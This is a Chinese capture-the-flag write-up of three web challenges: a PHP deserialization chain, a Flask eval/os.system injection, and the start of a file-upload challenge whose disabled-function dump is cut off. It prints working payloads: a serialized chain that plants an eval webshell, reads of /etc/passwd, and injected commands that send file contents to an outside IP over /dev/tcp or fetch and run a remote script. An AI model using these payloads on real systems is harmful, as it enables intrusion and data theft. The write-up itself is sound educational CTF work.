DASCTF X SU 2022 writeup

DASCTF X SU 2022 writeup

image-20220326205241094

​ 有一说一, 其实这个比赛我是结束之后再做的题目(有别的事忘了有比赛了), 直到晚上快十点多的时候忙完了之后上BUU才看到这个比赛, 进去发现也还是可以注册做题的就肝到了十二点多, 最后只出了Calc就去睡觉了, 不过今天起来之后发现昨天做EZPOP失败的payload居然又成功了~

EZPOP

这个题, 只能说我电脑的问题让我一言难尽吧, 題目源碼如下(index.php)

<?php

class crow
{
    public $v1;
    public $v2;

    function eval() {
        echo new $this->v1($this->v2);
    }

    public function __invoke()
    {
        $this->v1->world();
    }
}

class fin
{
    public $f1;

    public function __destruct()
    {
        echo $this->f1 . '114514';
    }

    public function run()
    {
        ($this->f1)();
    }

    public function __call($a, $b)
    {
        echo $this->f1->get_flag();
    }

}

class what
{
    public $a;

    public function __toString()
    {
        $this->a->run();
        return 'hello';
    }
}
class mix
{
    public $m1;

    public function run()
    {
        ($this->m1)();
    }

    public function get_flag()
    {
        eval('#' . $this->m1);
    }

}

if (isset($_POST['cmd'])) {
    unserialize($_POST['cmd']);
} else {
    highlight_file(__FILE__);
}

源码里面并没有什么混淆, 所以可以直接得到链子:

<?php

class crow
{
    public $v1;
    public $v2;
    function __construct($v1,$v2="hhh")
    {$this->v1=$v1;$this->v2=$v2;
    }
    function eval() {
        echo new $this->v1($this->v2);
    }

    public function __invoke()
    {
        $this->v1->world();
    }
}

class fin
{
    public $f1;
    function __construct($f1)
    {$this->f1=$f1;
    }

    public function __destruct()
    {
//        echo $this->f1 . '114514';
    }

    public function run()
    {
        ($this->f1)();
    }

    public function __call($a, $b)
    {
        echo $this->f1->get_flag();
    }

}

class what
{
    public $a;
    function __construct($a)
    {$this->a=$a;
    }
    public function __toString()
    {
        $this->a->run();
        return 'hello';
    }
}
class mix
{
    public $m1;
    function __construct($m1)
    {$this->m1=$m1;
    }

    public function run()
    {
        ($this->m1)();
    }

    public function get_flag()
    {
        print_r("<br>".$this->m1."<br>");
        eval('#' . $this->m1);
    }

}

$flag=serialize(new fin(
    new what(
        new mix(
            new crow(
                new fin(
                    new mix("\n@eval(\$_POST[0]);phpinfo();")
                )
            )
        )
    )
));
print_r("\ncmd=".urlencode($flag));
print_r("\ncmd=".$flag);
unserialize(urldecode($flag));
// 本地测试记得 取消echo $this->f1 . '114514';的注释
// cmd=O%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A4%3A%22what%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3BO%3A4%3A%22crow%22%3A2%3A%7Bs%3A2%3A%22v1%22%3BO%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3Bs%3A28%3A%22%0A%40eval%28%24_POST%5B0%5D%29%3Bphpinfo%28%29%3B%22%3B%7D%7Ds%3A2%3A%22v2%22%3Bs%3A3%3A%22hhh%22%3B%7D%7D%7D%7D
// cmd=O:3:"fin":1:{s:2:"f1";O:4:"what":1:{s:1:"a";O:3:"mix":1:{s:2:"m1";O:4:"crow":2:{s:2:"v1";O:3:"fin":1:{s:2:"f1";O:3:"mix":1:{s:2:"m1";s:28:"%0a@eval($_POST[0]);phpinfo();";}}s:2:"v2";s:3:"hhh";}}}}

直接执行拿到两个payload直接用就行

image-20220327112053846

可以看到, 我们可以直接使用编码后的payload, 或者将未编码的payload中的换行改为%0a均可直接执行命令。但是需要注意的一点是这里是因为没有private属性和protected属性的变量才可以不编码直接提交。

修改命令获得flag:

image-20220327113107097

但是昨天就挺离谱的, 首先是我使FireFox和Burp的POST请求功能像是失效了一样, 不管请求题目还是本地都只能发GET请求才能传参数。好了之后遇到的第二个问题是最让我拉胯的:

我在本地写好链子并且直接在在源码执行urldecode的链子确实执行了反序列化, 但是放到请求里面去不管我在FireFox还是Burp或socket发包不管是使用编码后的还是没编码的payload都不行, 只要是最后走到mix::get_flag()函数执行的, 就是不给我回显就摁报错。

因为这个所以我最后不得不选择了使用走到crow::eval()的链子, 不过那也只能使用SplFileObjectDirectoryIterator。但是这两兄弟读到文件的第一行内容和匹配到的第一个文件(目录)名, 所以一直都没有得到flag。但是今天又开了一次容器, 用昨天失败的payload毫无问题,麻了....

说一下走到crow::eval()的链子吧(虽然在这个题目并不能得到flag):

$flag=serialize(new fin(
    new what(
        new mix(
            [new mix("\nphpinfo();"),"get_flag"]
//              [new crow("DirectoryIterator","glob://*"),"eval"]	//用于读取目录
//              [new crow("SplFileObject","/etc/passwd"),"eval"]	//用于读取文件
        )
    )
));
print_r("\ncmd=".urlencode($flag));
print_r("\ncmd=".$flag);
unserialize(urldecode($flag));

注: 使用FireFox请求/flag.sh /index.php /flag.php这几个文件的时候一直加载出不来的话可以去Chrom试一下

但是因为echo的限制我们都是只能得到正则匹配到的第一个文件(目录)名并且只能获得文件第一行的内容, 这就是为什么我说这个链子在这里没有用的原因, 但是如果flag在/flag的第一行的话那我们是可以直接得到flag的。

另外今天到网上看了一些師傅的wp, 看到有個师傅遇到的问题跟我有点像DASCTF X SU 2022 writeup, 解释说是因为上传的时候使用Hackbar的时候实际上发出请求的时候会在换行编码%0a自己补上一个%0D变成%0D%0a所以也就导致了反序列化出错, 但是hackbar使用raw的方式是不会补回车的所以就成功了。不过我昨天使用的payload和今天一样, 也都是Burp发包, 所以就不知道是什么问题了。

Calc

image-20220327115945907

题目就是一个waf绕过后执行evalos.system, 源码如下

#coding=utf-8
from flask import Flask,render_template,url_for,render_template_string,redirect,request,current_app,session,abort,send_from_directory
import random
from urllib import parse
import os
from werkzeug.utils import secure_filename
import time

app=Flask(__name__)

def waf(s):
    blacklist = ['import','(',')',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']
    flag = True
    for no in blacklist:
        if no.lower() in s.lower():
            print(no.lower())
            flag= False
            print(no)
            break
    return flag
    
@app.route("/")
def index():
    "欢迎来到SUctf2022"
    return render_template("index.html")

@app.route("/calc",methods=['GET'])
def calc():
    ip = request.remote_addr
    num = request.values.get("num")
    log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)
                                                                                                                                                                             
    if waf(num):
        try:
            data = eval(num)
            os.system(log)
        except:
            pass
        return str(data)
    else:
        return "waf!!"

if __name__ == "__main__":
    app.run(host='0.0.0.0',port=5000,)

起初在开始的时候看到过滤了那么多的关键字我一度以为是要利用object获取危险函数, 所以好还去找了能够获取传输参数的一些Flask相关的函数和属性, 但是发现基本上都是和标签tag相关的都会带有_ 又因为过滤了小括号()所以函数也变的不可用, _真的太要命了, 所以在最后我也就不得不放弃了eval这个点转而考虑os.system最后发现这个执行系统命令可比沙箱绕过简单多了, 先把命令提出来:

echo {0} {1} {2}> ./tmp/log.txt

time.strftime("%Y%m%d-%H%M%S",time.localtime())ip = request.remote_addr改变不了我们可以控制的只有{2}

但是我们需要保证num能作为python代码正常执行, 想到让命令作为字符串, 如果是双引号就可以解析里面的内容和但是双引号被ban了, 单引号无法解析命令里面的代码。

在linux中'''并没有什么区别, 单个'也是可以写多行内容的

image-20220327142753568

想办法分别闭合掉前面和后面的'''让中间的内容逃逸出来

利用点在于:

  • 在python中'''开始匹配之后如果没在同一行遇到连续的三个单引号'''就只会吧中间的单引号'当做是内容的一部分

  • 在linux系统中'''会和后面的每一个'匹配, 开始匹配内容后如果在单行内遇到一个'那就回把'''xxx'解析成两部分, 一部分是'', 另一部分是'xxx'分别分开, 最后获得的内容其实只有xxx而没有任何一个单引号。

  • 但是如果遇到两个单引号'的话 那就变成了三部分,'' + 'xxx' + ' 可以看到此时还多剩余了一个单引号, 会继续匹配后面的内容。

  • 遇到三个单引号和第一个情况差不多, 被分成个'' + 'xxx' + '' 三个部分, 有效内容也只有'xxx'

  • 总结来说就是: 在linux中'''不会被特殊对待, 实际上''''的效果是一样的, 即使是三个单引号也只会把前两个匹配起来。不管什么时候只要遇到未转义的'都会直接被匹配。image-20220327145359062

所以我们可以利用这个特点通过换行将命令逃逸到单独一行:

'''1'
cat<>/flag
'ls'''

上面句子在python中就是一个整体的字符串, 但是echo后接这个会逃逸出两个命令:

image-20220327151332625

image-20220327151947415

最终可以看到, 确实逃逸出了三个命令成功执行

image-20220327163548777

我们的空格被过滤了, 问题不大有以下方法:

  1. 原本我想如果可以的话直接通过ls>>index.html将命令结果输出到渲染模板中,然后我们直接刷新看源码但是并没有成功,不知道是不是读写权限问题还是其它原因

  2. 使用<>绕过, 这个方法的缺点是不能再重定向输入输出流(想反弹shell的不可用)

  3. Tab键%09这个最好用只能说

    上面两个都是可以在本题目中使用的, 下面在手几个拓展(在这个题目行不行都列一下吧,说不定以后回来看)

  4. $(command)或者$('command') 或者$(printf “ls”)

    需要注意的是执行command的执行结果会被当做输入再被执行一遍, 所以可能会报错, 不过问题不大

    所以如果命令又长度限制我们可以使用$(curl<>http://vps:port/file)

    image-20220327154536066

  5. 通过$IFS\(1、\){IFS}替代空格

    1;a=ag.php;b=fl;cat$IFS\(1\)b$a

使用ls命令发现flag文件为Th1s_is__F1114g , 因为_被过滤所以使用Th1s* 读取文件

'''1'
ls	>	/dev/tcp/47.99.70.18/4444
'ls'''

image-20220327160616684

得到最后的payload:

'''1'
cat	Th1s*	>	/dev/tcp/47.99.70.18/4444
'ls'''

编码后得到:

%27%27%27%31%27%0a%63%61%74%09%54%68%31%73%2a%09%3e%09%2f%64%65%76%2f%74%63%70%2f%76%70%73%2f%70%6f%72%74%0a%27%6c%73%27%27%27

image-20220327160804688

失败了多连几次, 我的请求中间不知道怎么回事有几次开启端口就一直给我发之前执行ls的结果过来

另外看到有vidar summer师傅使用#绕过

1+1#wget	http://vps:port/evil.sh
1+1#bash\tevil.sh

这个点我尝试不知道为什么我就是get不到这个点, 解释说是os.system里面由于#在双引号中,代码会被执行,#只会被当作一个字符

但是我使用修改的payload发现确实有收到请求, 但是却没有返回想要的内容, 都是连接上就马上断开, 请求页面也一直出不来返回响应的内容

image-20220327162739605

另外我在linux服务器上的python跑os.system('echo 1 "1+1#command"')完全没有一点反应, 直接执行也是一样, 不知道我是不是哪里搞错了, 人麻了...

image-20220327162620002

upgdstore

这个题目还是挺有意思的, 主要是用到CVE-2021-4034 pkexec的一些内容, 还是详细操作记录一下吧。

这个题目刚开始我感觉一脸懵逼, 因为要求上传php文件, 但是没有上传路径和其它的信息(因为我上传的是没过Waf的shell文件), 最后我手动改了一下内容只剩下<? phpinfo();才上传成功, 并且返回了上传文件的路径。所以接下来就好办了。

image-20220327174820124

打开查看phpinfo信息:

image-20220327174908635

别的先不说, 过滤的是真的狠, 估计是但凡有点危险的能执行命令函数全都位列仙阿班了:

zend_version, func_num_args, func_get_arg, func_get_args, strcmp, strncmp, strcasecmp, strncasecmp, each, error_log, defined, get_class, get_called_class, get_parent_class, method_exists, property_exists, class_exists, interface_exists, trait_exists, function_exists, class_alias, get_included_files, get_required_files, is_subclass_of, is_a, get_class_vars, get_object_vars, get_mangled_object_vars, get_class_methods, trigger_error, user_error, restore_error_handler, set_exception_handler, restore_exception_handler, get_declared_classes, get_declared_traits, get_declared_interfaces, get_defined_functions, get_defined_vars, create_function, get_resource_type, get_resources, get_loaded_extensions, extension_loaded, get_extension_funcs, get_defined_constants, debug_backtrace, debug_print_backtrace, gc_mem_caches, gc_collect_cycles, gc_enabled, gc_enable, gc_disable, gc_status, strtotime, date, idate, gmdate, mktime, gmmktime, checkdate, strftime, gmstrftime, time, localtime, getdate, date_create, date_create_immutable, date_create_from_format, date_create_immutable_from_format, date_parse, date_parse_from_format, date_get_last_errors, date_format, date_modify, date_add, date_sub, date_timezone_get, date_timezone_set, date_offset_get, date_diff, date_time_set, date_date_set, date_isodate_set, date_timestamp_set, date_timestamp_get, timezone_open, timezone_name_get, timezone_name_from_abbr, timezone_offset_get, timezone_transitions_get, timezone_location_get, timezone_identifiers_list, timezone_abbreviations_list, timezone_version_get, date_interval_create_from_date_string, date_interval_format, date_default_timezone_set, date_default_timezone_get, date_sunrise, date_sunset, date_sun_info, libxml_set_streams_context, libxml_use_internal_errors, libxml_get_last_error, libxml_clear_errors, libxml_get_errors, libxml_disable_entity_loader, libxml_set_external_entity_loader, openssl_get_cert_locations, openssl_spki_new, openssl_spki_verify, openssl_spki_export, openssl_spki_export_challenge, openssl_pkey_free, openssl_pkey_new, openssl_pkey_export, openssl_pkey_export_to_file, openssl_pkey_get_private, openssl_pkey_get_public, openssl_pkey_get_details, openssl_free_key, openssl_get_privatekey, openssl_get_publickey, openssl_x509_read, openssl_x509_free, openssl_x509_parse, openssl_x509_checkpurpose, openssl_x509_check_private_key, openssl_x509_verify, openssl_x509_export, openssl_x509_fingerprint, openssl_x509_export_to_file, openssl_pkcs12_export, openssl_pkcs12_export_to_file, openssl_pkcs12_read, openssl_csr_new, openssl_csr_export, openssl_csr_export_to_file, openssl_csr_sign, openssl_csr_get_subject, openssl_csr_get_public_key, openssl_digest, openssl_encrypt, openssl_decrypt, openssl_cipher_iv_length, openssl_sign, openssl_verify, openssl_seal, openssl_open, openssl_pbkdf2, openssl_pkcs7_verify, openssl_pkcs7_decrypt, openssl_pkcs7_sign, openssl_pkcs7_encrypt, openssl_pkcs7_read, openssl_private_encrypt, openssl_private_decrypt, openssl_public_encrypt, openssl_public_decrypt, openssl_get_md_methods, openssl_get_cipher_methods, openssl_get_curve_names, openssl_dh_compute_key, openssl_pkey_derive, openssl_random_pseudo_bytes, openssl_error_string, preg_match_all, preg_replace, preg_replace_callback, preg_replace_callback_array, preg_filter, preg_split, preg_quote, preg_grep, preg_last_error, readgzfile, gzrewind, gzclose, gzeof, gzgetc, gzgets, gzgetss, gzread, gzopen, gzpassthru, gzseek, gztell, gzwrite, gzputs, gzfile, gzcompress, gzuncompress, gzdeflate, gzinflate, gzencode, gzdecode, zlib_encode, zlib_decode, zlib_get_coding_type, deflate_init, deflate_add, inflate_init, inflate_add, inflate_get_status, inflate_get_read_len, ob_gzhandler, filter_input, filter_var, filter_input_array, filter_var_array, filter_list, filter_has_var, filter_id, hash, hash_file, hash_hmac, hash_hmac_file, hash_init, hash_update, hash_update_stream, hash_update_file, hash_final, hash_copy, hash_algos, hash_hmac_algos, hash_pbkdf2, hash_equals, hash_hkdf, mhash_keygen_s2k, mhash_get_block_size, mhash_get_hash_name, mhash_count, mhash, session_name, session_module_name, session_save_path, session_id, session_create_id, session_regenerate_id, session_decode, session_encode, session_start, session_destroy, session_unset, session_gc, session_set_save_handler, session_cache_limiter, session_cache_expire, session_set_cookie_params, session_get_cookie_params, session_write_close, session_abort, session_reset, session_status, session_register_shutdown, session_commit, sodium_crypto_aead_aes256gcm_is_available, sodium_crypto_aead_aes256gcm_decrypt, sodium_crypto_aead_aes256gcm_encrypt, sodium_crypto_aead_aes256gcm_keygen, sodium_crypto_aead_chacha20poly1305_decrypt, sodium_crypto_aead_chacha20poly1305_encrypt, sodium_crypto_aead_chacha20poly1305_keygen, sodium_crypto_aead_chacha20poly1305_ietf_decrypt, sodium_crypto_aead_chacha20poly1305_ietf_encrypt, sodium_crypto_aead_chacha20poly1305_ietf_keygen, sodium_crypto_aead_xchacha20poly1305_ietf_decrypt, sodium_crypto_aead_xchacha20poly1305_ietf_keygen, sodium_crypto_aead_xchacha20poly1305_ietf_encrypt, sodium_crypto_auth, sodium_crypto_auth_keygen, sodium_crypto_auth_verify, sodium_crypto_box, sodium_crypto_box_keypair, sodium_crypto_box_seed_keypair, sodium_crypto_box_keypair_from_secretkey_and_publickey, sodium_crypto_box_open, sodium_crypto_box_publickey, sodium_crypto_box_publickey_from_secretkey, sodium_crypto_box_seal, sodium_crypto_box_seal_open, sodium_crypto_box_secretkey, sodium_crypto_kx_keypair, sodium_crypto_kx_publickey, sodium_crypto_kx_secretkey, sodium_crypto_kx_seed_keypair, sodium_crypto_kx_client_session_keys, sodium_crypto_kx_server_session_keys, sodium_crypto_generichash, sodium_crypto_generichash_keygen, sodium_crypto_generichash_init, sodium_crypto_generichash_update, sodium_crypto_generichash_final, sodium_crypto_kdf_derive_from_key, sodium_crypto_kdf_keygen, sodium_crypto_pwhash, sodium_crypto_pwhash_str, sodium_crypto_pwhash_str_verify, sodium_crypto_pwhash_str_needs_rehash, sodium_crypto_pwhash_scryptsalsa208sha256, sodium_crypto_pwhash_scryptsalsa208sha256_str, sodium_crypto_pwhash_scryptsalsa208sha256_str_verify, sodium_crypto_scalarmult, sodium_crypto_secretbox, sodium_crypto_secretbox_keygen, sodium_crypto_secretbox_open, sodium_crypto_secretstream_xchacha20poly1305_keygen, sodium_crypto_secretstream_xchacha20poly1305_init_push, sodium_crypto_secretstream_xchacha20poly1305_push, sodium_crypto_secretstream_xchacha20poly1305_init_pull, sodium_crypto_secretstream_xchacha20poly1305_pull, sodium_crypto_secretstream_xchacha20poly1305_rekey, sodium_crypto_shorthash, sodium_crypto_shorthash_keygen, sodium_crypto_sign, sodium_crypto_sign_detached, sodium_crypto_sign_ed25519_pk_to_curve25519, sodium_crypto_sign_ed25519_sk_to_curve25519, sodium_crypto_sign_keypair, sodium_crypto_sign_keypair_from_secretkey_and_publickey, sodium_crypto_sign_open, sodium_crypto_sign_publickey, sodium_crypto_sign_secretkey, sodium_crypto_sign_publickey_from_secretkey, sodium_crypto_sign_seed_keypair, sodium_crypto_sign_verify_detached, sodium_crypto_stream, sodium_crypto_stream_keygen, sodium_crypto_stream_xor, sodium_add, sodium_compare, sodium_increment, sodium_memcmp, sodium_memzero, sodium_pad, sodium_unpad, sodium_bin2hex, sodium_hex2bin, sodium_bin2base64, sodium_base642bin, sodium_crypto_scalarmult_base, spl_classes, spl_autoload, spl_autoload_extensions, spl_autoload_register, spl_autoload_unregister, spl_autoload_functions, spl_autoload_call, class_parents, class_implements, class_uses, spl_object_hash, spl_object_id, iterator_to_array, iterator_count, iterator_apply, constant, bin2hex, hex2bin, sleep, usleep, time_nanosleep, time_sleep_until, strptime, flush, wordwrap, htmlspecialchars, htmlentities, html_entity_decode, htmlspecialchars_decode, get_html_translation_table, sha1, sha1_file, md5_file, crc32, iptcparse, iptcembed, getimagesize, getimagesizefromstring, image_type_to_mime_type, image_type_to_extension, phpversion, phpcredits, php_sapi_name, php_uname, php_ini_scanned_files, php_ini_loaded_file, strnatcmp, strnatcasecmp, substr_count, strspn, strcspn, strtok, strtoupper, ini_set, strpos, stripos, strrpos, strripos, strrev, hebrev, hebrevc, nl2br, basename, dirname, stripslashes, stripcslashes, stristr, strrchr, str_shuffle, str_word_count, str_split, strpbrk, substr_compare, utf8_encode, utf8_decode, strcoll, money_format, substr, substr_replace, quotemeta, ucfirst, lcfirst, ucwords, strtr, addslashes, addcslashes, rtrim, str_replace, str_ireplace, str_repeat, count_chars, chunk_split, trim, ltrim, strip_tags, similar_text, explode, implode, join, setlocale, localeconv, nl_langinfo, soundex, levenshtein, chr, ord, parse_str, str_getcsv, str_pad, chop, strchr, sprintf, printf, vprintf, vsprintf, fprintf, vfprintf, sscanf, fscanf, parse_url, urlencode, urldecode, rawurlencode, rawurldecode, http_build_query, readlink, linkinfo, symlink, link, unlink, exec, system, escapeshellcmd, passthru, shell_exec, proc_open, proc_close, proc_terminate, proc_get_status, proc_nice, rand, srand, getrandmax, mt_rand, mt_srand, mt_getrandmax, random_bytes, random_int, getservbyname, getservbyport, getprotobyname, getprotobynumber, getmyuid, getmygid, getmypid, getmyinode, getlastmod, password_hash, password_get_info, password_needs_rehash, password_verify, password_algos, convert_uuencode, convert_uudecode, abs, ceil, floor, round, sin, cos, tan, asin, acos, atan, atanh, atan2, sinh, cosh, tanh, asinh, acosh, expm1, log1p, pi, is_finite, is_nan, is_infinite, pow, exp, log, log10, sqrt, hypot, deg2rad, rad2deg, bindec, hexdec, octdec, decbin, decoct, dechex, base_convert, number_format, fmod, intdiv, inet_ntop, inet_pton, ip2long, long2ip, getenv, getopt, sys_getloadavg, microtime, gettimeofday, getrusage, hrtime, uniqid, quoted_printable_decode, quoted_printable_encode, convert_cyr_string, get_current_user, set_time_limit, header_register_callback, get_cfg_var, get_magic_quotes_gpc, get_magic_quotes_runtime, error_get_last, error_clear_last, call_user_func, call_user_func_array, forward_static_call, forward_static_call_array, serialize, unserialize, var_dump, var_export, debug_zval_dump, print_r, memory_get_usage, memory_get_peak_usage, register_shutdown_function, register_tick_function, unregister_tick_function, highlight_file, highlight_string, php_strip_whitespace, ini_get, ini_get_all, ini_alter, ini_restore, get_include_path, set_include_path, restore_include_path, setcookie, setrawcookie, header, header_remove, headers_sent, headers_list, http_response_code, connection_aborted, connection_status, ignore_user_abort, parse_ini_file, parse_ini_string, is_uploaded_file, gethostbyaddr, gethostbyname, gethostbynamel, gethostname, net_get_interfaces, dns_check_record, checkdnsrr, dns_get_mx, getmxrr, dns_get_record, intval, floatval, doubleval, strval, boolval, gettype, settype, is_null, is_resource, is_bool, is_int, is_float, is_integer, is_long, is_double, is_real, is_numeric, is_string, is_array, is_object, is_scalar, is_callable, is_iterable, is_countable, pclose, popen, readfile, rewind, rmdir, umask, fclose, feof, fgetc, fgets, fgetss, fread, fopen, fpassthru, ftruncate, fstat, fseek, ftell, fflush, fwrite, fputs, mkdir, rename, copy, tempnam, tmpfile, file, file_put_contents, stream_select, stream_context_create, stream_context_set_params, stream_context_get_params, stream_context_set_option, stream_context_get_options, stream_context_get_default, stream_context_set_default, stream_filter_prepend, stream_filter_append, stream_filter_remove, stream_socket_client, stream_socket_server, stream_socket_accept, stream_socket_get_name, stream_socket_recvfrom, stream_socket_sendto, stream_socket_enable_crypto, stream_socket_shutdown, stream_socket_pair, stream_copy_to_stream, stream_get_contents, stream_supports_lock, stream_isatty, fgetcsv, fputcsv, flock, get_meta_tags, stream_set_read_buffer, stream_set_write_buffer, set_file_buffer, stream_set_chunk_size, stream_set_blocking, socket_set_blocking, stream_get_meta_data, stream_get_line, stream_wrapper_register, stream_register_wrapper, stream_wrapper_unregister, stream_wrapper_restore, stream_get_wrappers, stream_get_transports, stream_resolve_include_path, stream_is_local, get_headers, stream_set_timeout, socket_set_timeout, socket_get_status, realpath, fnmatch, fsockopen, pfsockopen, pack, unpack, get_browser, crypt, opendir, closedir, chdir, getcwd, rewinddir, readdir, dir, scandir, glob, fileatime, filectime, filegroup, fileinode, filemtime, fileowner, fileperms, filesize, filetype, file_exists, is_writable, is_writeable, is_readable, is_executable, is_file, is_dir, is_link, stat, lstat, chown, chgrp, lchown, lchgrp, chmod, touch, clearstatcache, disk_total_space, disk_free_space, diskfreespace, realpath_cache_size, realpath_cache_get, ezmlm_hash, openlog, syslog, closelog, lcg_value, metaphone, ob_start, ob_flush, ob_clean, ob_end_flush, ob_end_clean, ob_get_flush, ob_get_clean, ob_get_length, ob_get_level, ob_get_status, ob_get_contents, ob_implicit_flush, ob_list_handlers, ksort, krsort, natsort, natcasesort, asort, arsort, sort, rsort, usort, uasort, uksort, shuffle, array_walk, array_walk_recursive, count, end, prev, next, reset, current, key, min, max, in_array, array_search, extract, compact, array_fill, array_fill_keys, range, array_multisort, array_push, array_pop, array_shift, array_unshift, array_splice, array_slice, array_merge, array_merge_recursive, array_replace, array_replace_recursive, array_keys, array_key_first, array_key_last, array_values, array_count_values, array_column, array_reverse, array_reduce, array_pad, array_flip, array_change_key_case, array_rand, array_unique, array_intersect, array_intersect_key, array_intersect_ukey, array_uintersect, array_intersect_assoc, array_uintersect_assoc, array_intersect_uassoc, array_uintersect_uassoc, array_diff, array_diff_key, array_diff_ukey, array_udiff, array_diff_assoc, array_udiff_assoc, array_diff_uassoc, array_udiff_uassoc, array_sum, array_product, array_filter, array_map, array_chunk, array_combine, array_key_exists, pos, sizeof, key_exists, assert, assert_options, version_compare, ftok, str_rot13, stream_get_filters, stream_filter_register, stream_bucket_make_writeable, stream_bucket_prepend, stream_bucket_append, stream_bucket_new, output_add_rewrite_var, output_reset_rewrite_vars, sys_get_temp_dir, apache_lookup_uri, virtual, apache_request_headers, apache_response_headers, apache_getenv, apache_note, apache_get_version, apache_get_modules, getallheaders, xxhash32, xxhash64, pdo_drivers, xml_parser_create, xml_parser_create_ns, xml_set_object, xml_set_element_handler, xml_set_character_data_handler, xml_set_processing_instruction_handler, xml_set_default_handler, xml_set_unparsed_entity_decl_handler, xml_set_notation_decl_handler, xml_set_external_entity_ref_handler, xml_set_start_namespace_decl_handler, xml_set_end_namespace_decl_handler, xml_parse, xml_parse_into_struct, xml_get_error_code, xml_error_string, xml_get_current_line_number, xml_get_current_column_number, xml_get_current_byte_index, xml_parser_free, xml_parser_set_option, xml_parser_get_option, jdtogregorian, gregoriantojd, jdtojulian, juliantojd, jdtojewish, jewishtojd, jdtofrench, gmp_prob_prime, gmp_gcd, gmp_gcdext, gmp_lcm, gmp_invert, gmp_jacobi, gmp_legendre, gmp_kronecker, gmp_cmp, gmp_sign, gmp_random, gmp_random_seed, gmp_random_bits, gmp_random_range, gmp_and, gmp_or, gmp_com, gmp_xor, gmp_setbit, gmp_clrbit, gmp_testbit, gmp_scan0, gmp_scan1, gmp_popcount, gmp_hamdist, gmp_nextprime, gmp_binomial, iconv, iconv_get_encoding, iconv_set_encoding, iconv_strlen, iconv_substr, iconv_strpos, iconv_strrpos, iconv_mime_encode, iconv_mime_decode, iconv_mime_decode_headers, json_encode, json_decode, json_last_error, json_last_error_msg, mb_convert_case, mb_strtoupper, mb_strtolower, mb_language, mb_internal_encoding, mb_http_input, mb_http_output, mb_detect_order, mb_substitute_character, mb_parse_str, mb_output_handler, mb_preferred_mime_name, mb_str_split, mb_strlen, mb_strpos, mb_strrpos, mb_stripos, mb_strripos, mb_strstr, mb_strrchr, mb_stristr, mb_strrichr, mb_substr_count, mb_substr, mb_strcut, mb_strwidth, mb_strimwidth, mb_convert_encoding, mb_detect_encoding, mb_list_encodings, mb_encoding_aliases, mb_convert_kana, mb_encode_mimeheader, mb_decode_mimeheader, mb_convert_variables, mb_encode_numericentity, mb_decode_numericentity, mb_send_mail, mb_get_info, mb_check_encoding, mb_ord, mb_chr, mb_scrub, mb_regex_encoding, mb_regex_set_options, mb_ereg, mb_eregi, mb_ereg_replace, mb_eregi_replace, mb_ereg_replace_callback, mb_split, mb_ereg_match, mb_ereg_search, mb_ereg_search_pos, mb_ereg_search_regs, mb_ereg_search_init, mb_ereg_search_getregs, mb_ereg_search_getpos, mb_ereg_search_setpos, mbregex_encoding, mbereg, mberegi, mbereg_replace, mberegi_replace, mbsplit, mbereg_match, mbereg_search, mbereg_search_pos, mbereg_search_regs, mbereg_search_init, mbereg_search_getregs, mbereg_search_getpos, mbereg_search_setpos, mysqli_affected_rows, mysqli_autocommit, mysqli_begin_transaction, mysqli_change_user, mysqli_character_set_name, mysqli_close, mysqli_commit, mysqli_connect, mysqli_connect_errno, mysqli_connect_error, mysqli_data_seek, mysqli_dump_debug_info, mysqli_debug, mysqli_errno, mysqli_error, mysqli_error_list, mysqli_stmt_execute, mysqli_execute, mysqli_fetch_field, mysqli_fetch_fields, mysqli_fetch_field_direct, mysqli_fetch_lengths, mysqli_fetch_all, mysqli_fetch_array, mysqli_fetch_assoc, mysqli_fetch_object, mysqli_fetch_row, mysqli_field_count, mysqli_field_seek, mysqli_field_tell, mysqli_free_result, mysqli_get_connection_stats, mysqli_get_client_stats, mysqli_get_charset, mysqli_get_client_info, mysqli_get_client_version, mysqli_get_links_stats, mysqli_get_host_info, mysqli_get_proto_info, mysqli_get_server_info, mysqli_get_server_version, mysqli_get_warnings, mysqli_init, mysqli_info, mysqli_insert_id, mysqli_kill, mysqli_more_results, mysqli_multi_query, mysqli_next_result, mysqli_num_fields, mysqli_num_rows, mysqli_options, mysqli_ping, mysqli_poll, mysqli_prepare, mysqli_report, mysqli_query, mysqli_real_connect, mysqli_real_escape_string, mysqli_real_query, mysqli_reap_async_query, mysqli_release_savepoint, mysqli_rollback, mysqli_savepoint, mysqli_select_db, mysqli_set_charset, mysqli_stmt_affected_rows, mysqli_stmt_attr_get, mysqli_stmt_attr_set, mysqli_stmt_bind_param, mysqli_stmt_bind_result, mysqli_stmt_close, mysqli_stmt_data_seek, mysqli_stmt_errno, mysqli_stmt_error, mysqli_stmt_error_list, mysqli_stmt_fetch, mysqli_stmt_field_count, mysqli_stmt_free_result, mysqli_stmt_get_result, mysqli_stmt_get_warnings, mysqli_stmt_init, mysqli_stmt_insert_id, mysqli_stmt_more_results, mysqli_stmt_next_result, mysqli_stmt_num_rows, mysqli_stmt_param_count, mysqli_stmt_prepare, mysqli_stmt_reset, mysqli_stmt_result_metadata, mysqli_stmt_send_long_data, mysqli_stmt_store_result, mysqli_stmt_sqlstate, mysqli_sqlstate, mysqli_ssl_set, mysqli_stat, mysqli_store_result, mysqli_thread_id, mysqli_thread_safe, mysqli_use_result, mysqli_warning_count, mysqli_refresh, mysqli_escape_string, mysqli_set_opt, posix_kill, posix_getpid, posix_getppid, posix_getuid, posix_setuid, posix_geteuid, posix_seteuid, posix_getgid, posix_setgid, posix_getegid, posix_setegid, posix_getgroups, posix_getlogin, posix_getpgrp, posix_setsid, posix_setpgid, posix_getpgid, posix_getsid, posix_uname, posix_times, posix_ctermid, posix_ttyname, posix_isatty, posix_getcwd, posix_mkfifo, posix_mknod, posix_access, posix_getgrnam, posix_getgrgid, posix_getpwnam, posix_getpwuid, posix_getrlimit, posix_setrlimit, posix_get_last_error, posix_errno, posix_strerror, posix_initgroups, readline, readline_info, readline_add_history, readline_clear_history, readline_list_history, readline_read_history, readline_write_history, readline_completion_function, 